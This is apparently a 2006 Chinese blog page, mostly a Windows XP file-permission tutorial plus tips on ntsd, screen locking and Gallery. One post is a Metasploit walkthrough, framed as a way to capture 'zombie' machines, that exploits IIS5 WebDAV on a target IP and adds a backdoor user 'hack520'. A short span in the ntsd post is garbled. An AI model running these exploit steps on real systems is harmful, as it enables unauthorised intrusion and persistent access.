Windows XP提供了非常细致的权限控制项,能够精确定制用户对资源的访问控制能力,大多数的权限从其名称上就可以基本了解其所能实现的内容。

"权限"(Permission)是针对资源而言的。也就是说,设置权限只能是以资源为对象,即"设置某个文件夹有哪些用户可以拥有相应的权限",而不能是以用户为主,即"设置某个用户可以对哪些资源拥有权限"。这就意味着"权限"必须针对"资源"而言,脱离了资源去谈权限毫无意义──在提到权限的具体实施时,"某个资源"是必须存在的。

利用权限可以控制资源被访问的方式,如User组的成员对某个资源拥有"读取"操作权限、Administrators组成员拥有"读取+写入+删除"操作权限等。

值得一提的是,有一些Windows用户往往会将"权力"与"权限"两个非常相似的概念搞混淆,这里做一下简单解释:"权力"(Right)主要是针对用户而言的。"权力"通常包含"登录权力" (Logon Right)和"特权"(Privilege)两种。登录权力决定了用户如何登录到计算机,如是否采用本地交互式登录、是否为网络登录等。特权则是一系列权力的总称,这些权力主要用于帮助用户对系统进行管理,如是否允许用户安装或加载驱动程序等。显然,权力与权限有本质上的区别。

二、安全标识符、访问控制列表、安全主体

说到Windows XP的权限,就不能不说说"安全标识符"(Security Identifier, SID)、"访问控制列表"(Access Control List,ACL)和安全主体(Security Principal)这三个与其息息相关的设计了。

1.安全标识符

在Windows XP中,系统是通过SID对用户进行识别的,而不是很多用户认为的"用户名称"。SID可以应用于系统内的所有用户、组、服务或计算机,因为SID是一个具有惟一性、绝对不会重复产生的数值,所以,在删除了一个账户(如名为"A"的账户)后,再次创建这个"A"账户时,前一个A与后一个A账户的SID是不相同的。这种设计使得账户的权限得到了最基础的保护,盗用权限的情况也就彻底杜绝了。

查看用户、组、服务或计算机的SID值,可以使用"Whoami"工具来执行,该工具包含在Windows XP安装光盘的"Support\Tools"目录中,双击执行该目录下的"Setup"文件后,将会有包括Whoami工具在内的一系列命令行工具拷贝到"X:\Program Files\Support Tools"目录中。此后在任意一个命令提示符窗口中都可以执行"Whoami /all"命令来查看当前用户的全部信息。

2.访问控制列表(ACL)

访问控制列表是权限的核心技术。顾名思义,这是一个权限列表,用于定义特定用户对某个资源的访问权限,实际上这就是Windows XP对资源进行保护时所使用的一个标准。

在访问控制列表中,每一个用户或用户组都对应一组访问控制项(Access Control Entry, ACE),这一点只需在"组或用户名称"列表中选择不同的用户或组时,通过下方的权限列表设置项是不同的这一点就可以看出来。显然,所有用户或用户组的权限访问设置都将会在这里被存储下来,并允许随时被有权限进行修改的用户进行调整,如取消某个用户对某个资源的"写入"权限。
3.安全主体(Security Principal)

在Windows XP中,可以将用户、用户组、计算机或服务都看成是一个安全主体,每个安全主体都拥有相对应的账户名称和SID。根据系统架构的不同,账户的管理方式也有所不同──本地账户被本地的SAM管理;域的账户则会被活动目录进行管理......

一般来说,权限的指派过程实际上就是为某个资源指定安全主体(即用户、用户组等)可以拥有怎样的操作过程。因为用户组包括多个用户,所以大多数情况下,为资源指派权限时建议使用用户组来完成,这样可以非常方便地完成统一管理。

三、权限的四项基本原则

在Windows XP中,针对权限的管理有四项基本原则,即:拒绝优于允许原则、权限最小化原则、累加原则和权限继承性原则。这四项基本原则对于权限的设置来说,将会起到非常重要的作用,下面就来了解一下:

1.拒绝优于允许原则

"拒绝优于允许"原则是一条非常重要且基础性的原则,它可以非常完美地处理好因用户在用户组的归属方面引起的权限"纠纷",例如,"shyzhong"这个用户既属于"shyzhongs"用户组,也属于"xhxs"用户组,当我们对"xhxs"组中某个资源进行"写入"权限的集中分配(即针对用户组进行)时,这个时候该组中的 "shyzhong"账户将自动拥有"写入"的权限。

但令人奇怪的是,"shyzhong"账户明明拥有对这个资源的"写入"权限,为什么实际操作中却无法执行呢?原来,在"shyzhongs"组中同样也对"shyzhong"用户进行了针对这个资源的权限设置,但设置的权限是"拒绝写入"。基于"拒绝优于允许"的原则,"shyzhong"在"shyzhongs"组中被 "拒绝写入"的权限将优先于"xhxs"组中被赋予的允许"写入"权限被执行。因此,在实际操作中,"shyzhong"用户无法对这个资源进行"写入" 操作。

2.权限最小化原则

Windows XP将"保持用户最小的权限"作为一个基本原则进行执行,这一点是非常有必要的。这条原则可以确保资源得到最大的安全保障。这条原则可以尽量让用户不能访问或不必要访问的资源得到有效的权限赋予限制。

基于这条原则,在实际的权限赋予操作中,我们就必须为资源明确赋予允许或拒绝操作的权限。例如系统中新建的受限用户"shyzhong"在默认状态下对"DOC"目录是没有任何权限的,现在需要为这个用户赋予对"DOC"目录有"读取"的权限,那么就必须在"DOC"目录的权限列表中为"shyzhong"用户添加"读取"权限。

3.权限继承性原则

权限继承性原则可以让资源的权限设置变得更加简单。假设现在有个"DOC"目录,在这个目录中有"DOC01"、"DOC02"、"DOC03"等子目录,现在需要对DOC目录及其下的子目录均设置"shyzhong"用户有"写入"权限。因为有继承性原则,所以只需对"DOC"目录设置"shyzhong"用户有"写入"权限,其下的所有子目录将自动继承这个权限的设置。

4.累加原则

这个原则比较好理解,假设现在"zhong"用户既属于"A"用户组,也属于"B"用户组,它在A用户组的权限是"读取",在"B"用户组中的权限是"写入",那么根据累加原则,"zhong"用户的实际权限将会是"读取+写入"两种。

显然,"拒绝优于允许"原则是用于解决权限设置上的冲突问题的;"权限最小化"原则是用于保障资源安全的;"权限继承性"原则是用于"自动化"执行权限设置的;而"累加原则"则是让权限的设置更加灵活多变。几个原则各有所用,缺少哪一项都会给权限的设置带来很多麻烦!

注意:在Windows XP中,"Administrators"组的全部成员都拥有"取得所有者身份"(Take Ownership)的权力,也就是管理员组的成员可以从其他用户手中"夺取"其身份的权力,例如受限用户"shyzhong"建立了一个DOC目录,并只赋予自己拥有读取权力,这看似周到的权限设置,实际上,"Administrators"组的全部成员将可以通过"夺取所有权"等方法获得这个权限。

四、资源权限高级应用

以文件与文件夹的权限为例,依据是否被共享到网络上,其权限可以分为NTFS权限与共享权限两种,这两种权限既可以单独使用,也可以相辅使用。两者之间既能够相互制约,也可以相互补充。下面来看看如何进行设置:

1.NTFS权限

首先我们要知道:只要是存在NTFS磁盘分区上的文件夹或文件,无论是否被共享,都具有此权限。此权限对于使用FAT16/FAT32文件系统的文件与文件夹无效!

NTFS权限有两大要素:一是标准访问权限;二是特别访问权限。前者将一些常用的系统权限选项比较笼统地组成6种"套餐型"的权限,即:完全控制、修改、读取和运行、列出文件夹目录、读取、写入。

在大多数的情况下,"标准权限"是可以满足管理需要的,但对于权限管理要求严格的环境,它往往就不能令管理员们满意了,如只想赋予某用户有建立文件夹的权限,却没有建立文件的权限;如只能删除当前目录中的文件,却不能删除当前目录中的子目录的权限等......这个时候,就可以让拥有所有权限选项的"特别权限"来大显身手了。也就是说,特别权限不再使用"套餐型",而是使用可以允许用户进行"菜单型"的细节化权限管理选择了。

那么如何设置标准访问权限呢?以对一个在NTFS分区中的名为"zhiguo"的文件夹进行设置标准访问权限为例,可以按照如下方法进行操作:

因为NTFS权限需要在资源属性页面的"安全"选项卡设置界面中进行,而Windows XP在安装后默认状态下是没有激活"安全"选项卡设置功能的,所以需要首先启用系统中的"安全"选项卡。方法是:依次点击"开始"→"设置"→"控制面板 ",双击"文件夹选项",在"查看"标签页设置界面上的"高级设置"选项列表中清除"使用简单文件共享(推荐)"选项前的复选框后点击"应用"按钮即可。

设置完毕后就可以右键点击"zhiguo" 文件夹,在弹出的快捷菜单中选择"共享与安全",在"zhiguo属性"窗口中就可以看见"安全"选项卡的存在了。针对资源进行NTFS权限设置就是通过这个选项卡来实现的,此时应首先在"组或用户名称"列表中选择需要赋予权限的用户名组(这里选择"zhong"用户),接着在下方的"zhong 的权限"列表中设置该用户可以拥有的权限即可。

下面简单解释一下六个权限选项的含义:

①完全控制(Full Control):该权限允许用户对文件夹、子文件夹、文件进行全权控制,如修改资源的权限、获取资源的所有者、删除资源的权限等,拥有完全控制权限就等于拥有了其他所有的权限;
②修改(Modify):该权限允许用户修改或删除资源,同时让用户拥有写入及读取和运行权限; ③读取和运行(Read & Execute):该权限允许用户拥有读取和列出资源目录的权限,另外也允许用户在资源中进行移动和遍历,这使得用户能够直接访问子文件夹与文件,即使用户没有权限访问这个路径; ④列出文件夹目录(List Folder Contents):该权限允许用户查看资源中的子文件夹与文件名称; ⑤读取(Read):该权限允许用户查看该文件夹中的文件以及子文件夹,也允许查看该文件夹的属性、所有者和拥有的权限等; ⑥写入(Write):该权限允许用户在该文件夹中创建新的文件和子文件夹,也可以改变文件夹的属性、查看文件夹的所有者和权限等。

如果在"组或用户名称"列表中没有所需的用户或组,那么就需要进行相应的添加操作了,方法如下:点击"添加"按钮后,在出现的"选择用户和组"对话框中,既可以直接在"输入对象名称来选择"文本区域中输入用户或组的名称(使用"计算机名\用户名"这种方式),也可以点击"高级"按钮,在弹出的对话框中点击"立即查找"按钮让系统列出当前系统中所有的用户组和用户名称列表。此时再双击选择所需用户或组将其加入即可。如图2所示。

如果想删除某个用户组或用户的话,只需在" 组或用户名称"列表中选中相应的用户或用户组后,点击下方的"删除"按钮即可。但实际上,这种删除并不能确保被删除的用户或用户组被拒绝访问某个资源,因此,如果希望拒绝某个用户或用户组访问某个资源,还要在"组或用户名称"列表中选择相应的用户名用户组后,为其选中下方的"拒绝"复选框即可。

那么如何设置特殊权限呢?假设现在需要对一个名为"zhiguo"的目录赋予"zhong"用户对其具有"读取"、"建立文件和目录"的权限,基于安全考虑,又决定取消该账户的"删除"权限。此时,如果使用"标准权限"的话,将无法完成要求,而使用特别权限则可以很轻松地完成设置。方法如下:

首先,右键点击"zhiguo"目录,在右键快捷菜单中选择"共享与安全"项,随后在"安全"选项卡设置界面中选中"zhong"用户并点击下方的"高级"按钮,在弹出的对话框中点击清空"从父项继承那些可以应用到子对象的权限项目,包括那些在此明确定义的项目"项选中状态,这样可以断开当前权限设置与父级权限设置之前的继承关系。在随即弹出的" 安全"对话框中点击"复制"或"删除"按钮后(点击"复制"按钮可以首先复制继承的父级权限设置,然后再断开继承关系),接着点击"应用"按钮确认设置,再选中"zhong"用户并点击"编辑"按钮,在弹出的"zhong的权限项目"对话框中请首先点击"全部清除"按钮,接着在"权限"列表中选择"遍历文件夹/运行文件"、"列出文件夹/读取数据"、"读取属性"、"创建文件/写入数据"、"创建文件夹/附加数据"、"读取权限"几项,最后点击"确定"按钮结束设置。

在经过上述设置后,"zhong"用户在对"zhiguo"进行删除操作时,就会弹出提示框警告操作不能成功的提示了。显然,相对于标准访问权限设置上的笼统,特别访问权限则可以实现更具体、全面、精确的权限设置。

为了大家更好地理解特殊权限列表中的权限含义,以便做出更精确的权限设置,下面简单解释一下其含义:
⑴遍历文件夹/运行文件(Traverse Folder/Execute File):该权限允许用户在文件夹及其子文件夹之间移动(遍历),即使这些文件夹本身没有访问权限。注意:只有当在"组策略"中("计算机配置 "→"Windows设置"→"安全设置"→"本地策略"→"用户权利指派")将"跳过遍历检查"项授予了特定的用户或用户组,该项权限才能起作用。默认状态下,包括"Administrators"、"Users"、"Everyone"等在内的组都可以使用该权限。对于文件来说,拥了这项权限后,用户可以执行该程序文件。但是,如果仅为文件夹设置了这项权限的话,并不会让用户对其中的文件带上"执行"的权限; ⑵列出文件/读取数据(List Folder/Read Data):该权限允许用户查看文件夹中的文件名称、子文件夹名称和查看文件中的数据; ⑶读取属性(Read Attributes):该权限允许用户查看文件或文件夹的属性(如系统、只读、隐藏等属性); ⑷读取扩展属性(Read Extended Attributes):该权限允许查看文件或文件夹的扩展属性,这些扩展属性通常由程序所定义,并可以被程序修改;

⑸创建文件/写入属性(Create Files/Write Data):该权限允许用户在文件夹中创建新文件,也允许将数据写入现有文件并覆盖现有文件中的数据;
⑹创建文件夹/附加数据(Create Folder/Append Data):该权限允许用户在文件夹中创建新文件夹或允许用户在现有文件的末尾添加数据,但不能对文件现有的数据进行覆盖、修改,也不能删除数据; ⑺写入属性(Write Attributes):该权限允许用户改变文件或文件夹的属性; ⑻写入扩展属性(Write Extended Attributes):该权限允许用户对文件或文件夹的
扩展属性进行修改;
⑼删除子文件夹及文件(Delete Subfolders and Files):该权限允许用户删除文件
夹中的子文件夹或文件,即使在这些子文件夹和文件上没有设置删除权限;
⑽删除(Delete):该权限允许用户删除当前文件夹和文件,如果用户在该文件或文件夹上没有删除权限,但是在其父级的文件夹上有删除子文件及文件夹权限,那么就仍然可以删除它; ⑾读取权限(Read Permissions):该权限允许用户读取文件或文件夹的权限列表; ⑿更改权限(Change Permissions):该权限允许用户改变文件或文件夹上的现有权
限;
⒀取得所有权(Take Ownership):该权限允许用户获取文件或文件夹的所有权,一旦获取了所有权,用户就可以对文件或文件夹进行全权控制。

这里需要单独说明一下"修改"权限与"写入 "权限的区别:如果仅仅对一个文件拥有修改权限,那么,不仅可以对该文件数据进行写入和附加,而且还可以创建新文件或删除现有文件。而如果仅仅对一个文件拥有写入权限,那么既可以对文件数据进行写入和附加,也可以创建新文件,但是不能删除文件。也就是说,有写入权限不等于具有删除权限,但拥有修改权限,就等同于拥有删除和写入权限。

2.共享权限(Shared Permission)

只要是共享出来的文件夹就一定具有此权限。如该文件夹存在于NTFS分区中,那么它将同时具有NTFS权限与共享权限,如果这个资源同时拥有NTFS和共享两种权限,那么系统中对权限的具体实施将以两种权限中的"较严格的权限"为准──这也是"拒绝优于允许"原则的一种体现!

例如,某个共享资源的NTFS权限设置为完全控制,而共享权限设置为读取,那么远程用户就只能使用"读取"权限对共享资源进行访问了。

注意:如果是FAT16/FAT32文件系统中的共享文件夹,那么将只能受到共享权限的保护,这样一来就容易产生安全性漏洞。这是因为共享权限只能够限制从网络上访问资源的用户,并无法限制直接登录本机的人,即用户只要能够登录本机,就可以任意修改、删除FAT16/FAT32分区中的数据了。因此,从安全角度来看,我们是不推荐在Windows XP中使用FAT16/FAT32分区的。

设置共享权限很简单,在右键选中并点击一个文件夹后,在右键快捷菜单中选择"共享与安全"项,在弹出的属性对话框"共享"选项卡设置界面中点击选中"共享该文件夹"项即可,这将使共享资源使用默认的权限设置(即"Everyone"用户拥有读取权限)。如果想具体设置共享权限,那么请点击"权限"按钮,在打开的对话框中可以看到权限列表中有"完全控制"、"更改"和"读取"三项权限可供选择。

下面先简单介绍一下这三个权限的含义:
①完全控制:允许用户创建、读取、写入、重命名、删除当前文件夹中的文件以及子文件夹,另外,也可以修改该文件夹中的NTFS访问权限和夺取所有权; ②更改:允许用户读取、写入、重命名和删除当前文件夹中的文件和子文件夹,但不能创建新文件; ③读取:允许用户读取当前文件夹的文件和子文件夹,但是不能进行写入或删除操作。

说完了权限的含义,我们就可以点击"添加"按钮,将需要设置权限的用户或用户组添加进来了。在缺省情况下,当添加新的组或用户时,该组或用户将具备"读取"(Read)权限,我们可以根据实际情况在下方的权限列表中进行复选框的选择与清空。

接着再来说说令很多读者感到奇怪的"组和用户名称"列表中的"Everyone"组的含义。在Windows 2000中,这个组因为包含了"Anonymous Logon"组,所以它表示"每个人"的意思。但在Windows XP中,请注意──这个组因为只包括"Authenticated Users"和"Guests"两个组,而不再包括"Anonymous Logon"组,所以它表示了"可访问计算机的所有用户",而不再是"每个人"!请注意这是有区别的,"可访问计算机的所有用户"意味着必须是通过认证的用户,而"每个人"则不必考虑用户是否通过了认证。从安全方面来看,这一点是直接导致安全隐患是否存在关键所在!

当然,如果想在Windows XP中实现Windows 2000中那种"Everyone"设计机制,那么可以通过编辑"本地安全策略"来实现,方法是:在"运行"栏中输入"Secpol.msc"命

令打开"安全设置"管理单元,依次展开"安全设置"→"本地策略",然后进入"安全选项",双击右侧的"网络访问:让‘每个人'权限应用于匿名用户"项,然后选择"已启用"项既可。

注意:在Windows XP Professional中,最多可以同时有10个用户通过网络登录(指使用认证账户登录的用户,对于访问由IIS提供的Web服务的用户没有限制)方式使用某一台计算机提供的共享资源。

3.资源复制或移动时权限的变化与处理

在权限的应用中,不可避免地会遇到设置了权限后的资源需要复制或移动的情况,那么这个时候资源相应的权限会发生怎样的变化呢?下面来了解一下:

(1)复制资源时

在复制资源时,原资源的权限不会发生变化,而新生成的资源,将继承其目标位置父级资源的权限。

(2)移动资源时

在移动资源时,一般会遇到两种情况,一是如果资源的移动发生在同一驱动器内,那么对象保留本身原有的权限不变(包括资源本身权限及原先从父级资源中继承的权限);二是如果资源的移动发生在不同的驱动器之间,那么不仅对象本身的权限会丢失,而且原先从父级资源中继承的权限也会被从目标位置的父级资源继承的权限所替代。实际上,移动操作就是首先进行资源的复制,然后从原有位置删除资源的操作。

(3)非NTFS分区

上述复制或移动资源时产生的权限变化只是针对NTFS分区上而言的,如果将资源复制或移动到非NTFS分区(如FAT16/FAT32分区)上,那么所有的权限均会自动全部丢失。

4.资源所有权的高级管理

有时我们会发现当前登录的用户无法对某个资源进行任何操作,这是什么原因呢?其实这种常见的现象很有可能是因为对某个资源进行的NTFS权限设置得不够完善导致的──这将会造成所有人(包括 "Administrator"组成员)都无法访问资源,例如不小心将"zhiguo"这个文件夹的所有用户都删除了,这将会导致所有用户都无法访问这个文件夹,此时很多朋友就会束手无策了,其实通过使用更改所有权的方法就可以很轻松地解决这类权限问题了。

首先,我们需要检查一下资源的所有者是谁,如果想查看某个资源(如sony目录)的用户所有权的话,那么只需使用"dir sony /q"命令就可以了。在反馈信息的第一行就可以看到用户是谁了,例如第一行的信息是"lovebook\zhong",那么意思就是lovebook这台计算机中的"zhong"用户。如图5所示。

如果想在图形界面中查看所有者是谁,那么需要进入资源的属性对话框,点击"安全"选项卡设置界面中的"高级"按钮,在弹出的"(用户名)高级安全设置"界面中点击"所有者"选项卡,从其中的"目前该项目的所有者"列表中就可以看到当前资源的所有者是谁了。

如果想将所有者更改用户,那么只需在"将所有者更改为"列表中选择目标用户名后,点击"确定"按钮即可。此外,也可以直接在"安全"选项卡设置界面中点击"添加"按钮添加一个用户并赋予相应的权限后,让这个用户来获得当前文件夹的所有权。

注意:查看所有者究竟对资源拥有什么样的权限,可点击进入"有效权限"选项卡设置界面,从中点击"选择"按钮添加当前资源的所有者后,就可以从下方的列表中权限选项的勾取状态来获知了。

五、程序使用权限设定

Windows XP操作系统在文件管理方面功能设计上颇为多样、周全和智能化。这里通过"程序文件使用权限"设置、将"加密文件授权多个用户可以访问"和了解系统日志的访问权限三个例子给大家解释一下如何进行日常应用。

1.程序文件权限设定

要了解Windows XP中关于程序文件的访问权限,我们应首先来了解一下Windows XP在这方面的两个设计,一是组策略中软件限制策略的设计;二是临时分配程序文件使用权限的设计。

(1)软件限制策略

在"运行"栏中输入 "Gpedit.msc"命令打开组策略窗口后,在"计算机配置"→"Windows设置"→"安全设置"分支中,右键选中"软件限制策略"分支,在弹出的快捷菜单中选择新建一个策略后,就可以从"软件限制策略"分支下新出现的"安全级别"中看到有两种安全级别的存在了。

这两条安全级别对于程序文件与用户权限之前是有密切联系的:

①不允许的:从其解释中可以看出,无论用户的访问权如何,软件都不会运行;

②不受限的:这是默认的安全级别,其解释为 "软件访问权由用户的访问权来决定"。显然,之所以在系统中可以设置各种权限,是因为有这个默认安全策略在背后默默支持的缘故。如果想把"不允许的"安全级别设置为默认状态,只需双击进入其属性界面后点击"设为默认值"按钮即可。

(2)临时分配程序文件

为什么要临时分配程序文件的管理权限呢?这是因为在Windows XP中,有许多很重要的程序都是要求用户具有一定的管理权限才能使用的,因此在使用权限不足以使用某些程序的账户时,为了能够使用程序,我们就需要为自己临时分配一个访问程序的管理权限了。为程序分配临时管理权限的方法很简单:右键点击要运行的程序图标,在弹出的快捷菜单中选择"运行方式",在打开的"运行身份"对话框中选中"下列用户"选项,在"用户名"和"密码"右侧的文本框中指定用户及密码即可。

显然,这个临时切换程序文件管理权限的设计是十分有必要的,它可以很好地起到保护系统的目的。

2.授权多个用户访问加密文件

Windows XP在EFS上的改进之一就是可以允许多个用户访问加密文件,这些用户既可以是本地用户,也可以是域用户或受信任域的用户。由于无法将证书颁发给用户组,而只能颁发给用户,所以只能授权单个的账户访问加密文件,而用户组将不能被授权。

要授权加密文件可以被多个用户访问,可以按照如下方法进行操作:

选中已经加密的文件,用鼠标右键点击该加密文件,选择"属性",在打开的属性对话框中"常规"选项卡下点击"高级"按钮,打开加密文件的高级属性对话框,点击其中的"详细信息"按钮(加密文件夹此按钮无效),在打开的对话框中点击"添加"按钮添加一个或多个新用户即可(如果计算机加入了域,则还可以点击"寻找用户"按钮在整个域范围内寻找用户)。

如果要删除某个用户对加密文件的访问权限,那么只需选中此用户后点击"删除"按钮即可。

3.日志的访问权限

什么是日志?我们可以将日志理解为系统日记,这本"日记"可以按系统管理员预先的设定,自动将系统中发生的所有事件都一一记录在案,供管理员查询。既然日志信息具有如此重要的参考作用,那么就应该做好未经授权的用户修改或查看的权限控制。因此,我们非常有必要去了解一下日志的访问权限在Windows XP中是怎样设计的。一般来说,Administrators、SYSTEM、Everyone三种类型的账户可以访问日志。

这三种类型的账户对不同类型的日志拥有不同的访问权限,下面来看一下表格中具体的说明,请注意"√"表示拥有此权限;"×"表示无此权限。

通过对比,可以看出SYSTEM拥有的权限最高,可以对任意类型的日志进行读写和清除操作;Everyone用户则可以读取应用程序和系统日志,但对安全日志无法读取。这是因为安全日志相对其他几种类型的日志在安全性方面的要求要高一些,只有SYSTEM能够对之写入。

如果想为其他用户赋予管理审核安全日志的权限,那么可以在"运行"栏中输入"Gpedit.msc"命令打开组策略编辑器窗口后,依次进入"计算机配置"→"Windows设置"→"安全设置 "→"本地策略"→"用户权利指派",双击右侧的"管理审核和安全日志"项,在弹出的对话框中添加所需的用户即可。

六、内置安全主体与权限

在Windows XP中,有一群不为人知的用户,它们的作用是可以让我们指派权限到某种"状态"的用户(如"匿名用户"、"网络用户")等,而不是某个特定的用户或组(如 "zhong"、"CPCW"这类用户)。这样一来,对用户权限的管理就更加容易精确控制了。这群用户在Windows XP中,统一称为内置安全主体。下面让我们来了解一下:

1.安全主体的藏身之处

下面假设需要为一个名为"zhiguo"的目录设置内置安全主体中的"Network"类用户权限为例,看看这群"默默无闻"的用户藏身在系统何处。

首先进入"zhiguo"目录属性界面的"安全"选项卡设置界面,点击其中的"添加"按钮,在弹出的"选择用户或组"对话框中点击"对象类型"按钮。在弹出对话框中只保留列表中的"内置安全主体"项,并点击"确定"按钮。

在接下来的对话框中点击"高级"按钮,然后在展开的对话框中点击"立即查找"按钮,就可以看到内置安全主体中包含的用户列表了。

2.安全主体作用说明

虽然内置安全主体有很多,但正常能在权限设置中使用到的并不多,所以下面仅说明其中几个较重要的:

①Anonymous Logon:任何没有经过Windows XP验证程序(Authentication),而以匿名方式登录域的用户均属于此组;

②Authenticated Users:与前项相反,所有经过Windows XP验证程序登录的用户均属于此组。设置权限和用户权力时,可考虑用此项代替Everyone组;

③BATCH:这个组包含任何访问这台计算机的批处理程序(Batch Process);
④DIALUP:任何通过拨号网络登录的用户;
⑤Everyone:指所有经验证登录的用户及来宾(Guest);
⑥Network:任何通过网络登录的用户;
⑦Interactive:指任何直接登录本机的用户;
⑧Terminal server user:指任何通过终端服务登录的用户。
......
在明白了内置安全主体的作用后,在进行权限的具体指派时就可以让权限的应用精确

程度更高、权限的应用效果更加高效。显然,Windows XP中设置此类账户是十分有必要的,毕竟计算机是以应用为主,以应用类型进行账户分类,必然会使权限的管理不再混乱,管理更加合理!

Posted by vitter at 2006-11-23 13:13:02 | 评论 (1) | 引用

November 20, 2006

微软自身的杀进程命令

大家都遇到这样一个情况,有些进程它不让我们结束他,虽然有IceSword之类的工具也搞不定它,现在如果谁遇到这个情况的话试试下面的命令:
c:\>ntsd -c q -p PID

只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的,最后那个是Win32子系统,ntsd本身需要它。ntsd从 2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出,所以可以用来在命令行?罩菇獭J褂胣tsd自动就获得了debug权限,从而能杀掉大部分的进程。ntsd会新开一个调试窗口,本来在纯命令行下无法控制,但如果只是简单的命令,比如退出(q),用-c 参数从命令行传递就行了。NtsdNtsd 按照惯例也向软件开发人员提供。只有系统开发人员使用此命令。有关详细信息,请参阅 NTSD 中所附的帮助文件。用法:开个cmd.exe窗口,输入:

  ntsd -c q -p PID

  把最后那个PID,改成你要终止的进程的ID。如果你不知道进程的ID,任务管理器->进程选项卡->查看->选择列->勾上"PID(进程标识符)",然后就能看见了。

Posted by vitter at 2006-11-20 15:16:24 | 评论 (0) | 引用

November 07, 2006

强大溢出工具包:Metasploit命令行下的使用

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.

下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和 msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到的是 metasploit的欢迎界面,输入“?”查看帮助,如图1

看到很多命令吧,我们来解释一下

“?” 帮助
“cd” :这个命令大家都熟悉,和WIN下面一样,切换目录
“exit” 这个就是退出的意思
“info”显示当前程序信息
“quit”退出程序
“reload”加载exploit和payloads
“save”保存设置
“setg”设置一个环境变量
“show”显示当前可用的exploit
“ use”选择一个exp
“version”显示程序版本
这么多命令看起来肯定有些晕了吧其实用到的就"show" "info" "use"这3个,我们来看看是怎么使用的

这个程序就是一个大的工具包,集成了N多EXPLOIT,我们可以用show exploits看看有哪些exploit程序,如图2

看到了吧?这么多溢出程序,想用哪个就用哪个,省得整天找。这么多的东西该怎么用呢??比如我想用一个溢出程序,肯定得先看他的帮助了解使用方法。这就得用到info命令啦。这个命令就是显示溢出程序的详细信息,比如我们想看下iis50_webdav_ntdll这个溢出程序的用法,就在命令行下输入 info exploit iis50_webdav_ntdll,就会看到图3所示

这里只是查看Exploit的信息,我们还可查看shellcode的信息。在这个工具包中,可以定义自己需要的shellcode.在命令行下输入"show payloads"可以看到可用的shellcode列表,如图4

左边是名字,右边是说明。我们可以用info命令查看shellcode的具体信息,输入命令info payload cmd_generic如图5

这里要注意的只是required和options,这里required表示必选 options 表示可选可不选,以linux开头的就是针对linux系统的shellcode,以CMD和WIN开头的就是针对所有WIN系统。在溢出过程中一定要选对应的SHELLCODE才能成功。

好,现在我们来看实战一下,我们拿webdav的溢出程序做例子,在命令中输入use iis50_webdav_ntdll,然后再输入show options 查看要输入的内容,如图6

然后我们在命令行下输入set rhost 192.168.1.223 set rhost 80 如图7

到这里了,得指定shellcode,输入以下命令:set payload winexec输完了按回车然后再输入set cmd net user hack520 /add 如图8

好了现在可以向192.168.1.223发起进攻了,输入show targets 可以看到操作系统的代号,大家都知道webdav走针对2000系统,输入 set targets 0 如图9

没有什么问题了就输入Exploit。如果对方服务器存在这个漏洞话就会得到shell了

Metasploit下载:http://www.metasploit.com/tools/framework-2.1.exe

Posted by vitter at 2006-11-07 13:34:59 | 评论 (0) | 引用

Windows XP锁定计算机

昨天又装了一下午的机器,今天基本完成了,改用XP了,发现没有锁定。只好自己想办法了。
  Windows 2000中的系统锁定功能,在Windows XP下按下CTRL+ALT+DEL组合键却弹出的是“Windows 任务管理器”,而不是Win 2000里的“快速登陆框”。这可怎么办?经过笔者揣摩再三,终于找到了几种良方:

  方法一:在桌面上新建一个快捷方式来迅速锁定计算机。

  1、首先在桌面上右击鼠标,在随后出现的快捷菜单中选择“新建”→“快捷方式”(如图1);

新建快捷方式

  2、系统启动创建快捷方式向导,在“请键入项目的位置”文本框中输入“rundll32.exe user32.dll,LockWorkStation”。单击“下一步”(如图2),在弹出的窗口中输入快捷方式的名称,比如在此我们把它取名为“快速锁机”,单击“完成”。

设置快捷方式内容

  3、这时屏幕上会有一个空白的图标,如果你对图标的样式不满意,我们还可以对快捷方式图标进行修改,右击该快捷方式,选择“属性”,单击“快捷方式”选项卡,点击“更改图标”按钮,在“在这个文件中查找图标”文本框中输入“Shell32.dll”,单击“确定”,再从列表中选择所需图标,并单击“确定”(如图4)就OK了。

更改图标样式
  方法二:通过使用Windows徽标功能键来实现。

  Windows徽标功能键位于键盘最下方一排,它可是一件不常用的“宝物”噢!用它和其它键组合可以有各种各样的功能。要想快速锁定计算机只需按 Windows徽标键+L键就可完成,怎么样,这个方法简单吧!如果想要了解更多Windows徽标键的功能就去看看帮助吧。

  方法三:使用待机功能。

  选择“控制面板”中的“性能和维护”→“电源选项”,在“高级”选项卡中勾选“在计算机从待机状态恢复时,提示输入密码”,再单击“确定”完成。

电源选项

  想锁定计算机时,只需从“开始”→“关闭计算机”中选择“待机”就行了,如果想解除锁定,只要按电脑的Power键并输入密码就可以了。

  方法四:使用屏幕保护程序。

  笔者感觉这不是办法的办法,具体的操作步骤就不要我多说了吧,地球人都知道,只是要把屏幕保护程序的启用时间放到最短的1分钟,并且勾选“在恢复时使用密码保护”。不过,和上面三种方法相比,感觉它不能实现即走即锁的功能。

屏保程序设置法

Posted by vitter at 2006-11-07 11:45:37 | 评论 (0) | 引用

September 01, 2006

开源图库相册软件Gallery

这两天装上了 Gallery 2.1 (http://jesse.blogs-china.com/gallery), 觉得很不错,比以前用过的 Coppermine 好用,介绍给大家有兴趣可以试一下。






Gallery 是一个非常有名的免费开源图库相册软件,基于 PHP 和 MySQL, PostgreSQL 等数据库。功能非常强大,有丰富的扩展可以下载,安装很简单,环境符合后,按照提示一路 continue 就行了。 Gallery 的界面定制不复杂,只有几个模版文件,也有很多免费的皮肤可以下载,因为是一套老程序了,国外有很多人为它服务,免费皮肤很容易找到。



语言方面,已经有了简体、繁体中文的语言文件支持,编码是 UTF-8, 符合国际标准。Gallery 现在的稳定版是 2.0.3, 另外也有 2.1 的每夜构建版可以下载,每夜版也是相当稳定的,这次我安装的就是每夜版。



